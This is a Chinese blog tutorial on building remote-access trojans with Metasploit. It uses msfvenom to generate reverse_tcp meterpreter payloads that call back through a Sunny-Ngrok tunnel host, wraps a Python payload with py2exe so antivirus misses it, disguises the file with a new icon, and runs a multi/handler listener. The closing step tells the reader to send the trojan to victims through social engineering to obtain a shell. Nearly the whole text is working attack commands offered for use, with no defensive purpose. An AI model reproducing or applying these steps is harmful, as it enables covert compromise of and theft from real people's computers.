metasploit学习--联合Ngrok内网穿透生成木马远控主机

一、msf生成木马,联合Sunny-Ngrok进行内网穿透,远程控制外网主机

1.链接隧道 ./sunny clientid 隧道id
2.生成木马

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp  LHOST=xxx.idcfengye.com LPORT=xxxx -f exe -o shell.exe

这里的LHOST=xxx.idcfengye.com是获取到的服务器地址免费的一般是free,LPORT是你刚刚设置的隧道端口比如我的是10210,那么这里就填10210,对应版本的木马在前面更改一下就可以了。
注意:
-a x64位,一定要对应-p x64位。
简单点来说,生成的exe是64位的,最好是只在64位的电脑上去运行。
千万不要把生成32位的exe放到64位的电脑上去运行,那样会造成失败或内存、CPU很高的情况。
6.msf开启监听,使用模块

msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 127.0.0.1
msf5 exploit(multi/handler) > set lport xxxx
msf5 exploit(multi/handler) > exploit

这里的端口是你设置的本地端口,我设置的是2333,那么就填2333,一切就绪就run
7.结果,获取成功
在这里插入图片描述
外网主机也可以获取
在这里插入图片描述

二、利用py2exe生成免杀木马

1.链接隧道 ./sunny clientid 隧道id
2.生成木马

msfvenom -p python/meterpreter/reverse_tcp LHOST=xxx.idcfengye.com LPORT=xxx -f raw -o shell.py 

这里的LHOST=xxx.idcfengye.com是获取到的服务器地址免费的一般是free,LPORT是你刚刚设置的隧道端口比如我的是10210,那么这里就填10210,对应版本的木马在前面更改一下就可以了
3.新建一个setup.py文件,代码如下:

from distutils.core import setup
import py2exe
setup(
    name = 'Meter',
    description =  'Python-based App',
    version = '1.0',
    console = ['shell.py'],
    options = {'py2exe':{'bundle_files':1,'packages':'ctypes','includes':'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
    zipfile = None,
)

上面的console = [‘shell.py’] 里面是你刚刚生成py文件的名字

4.把setup.py和shell.py放在同一个文件夹,cmd进入路径,用pythoon py2exe模块进行封装生成可执行程序

python ./setup.py py2exe

在这里插入图片描述
5.生成完成之后,找到执行文件,可以替换图标实现伪装效果
在这里插入图片描述
6.查看免杀效果,基本上主流杀软都不报毒
在这里插入图片描述
在这里插入图片描述
6.msf开启监听

msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 127.0.0.1
msf5 exploit(multi/handler) > set lport xxxx
msf5 exploit(multi/handler) > exploit

这里的端口是你设置的本地端口,我设置的是2333,那么就填2333,一切就绪就run

7.通过社工等手段,发送给受害人,执行打开,即可获取shell
在这里插入图片描述

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值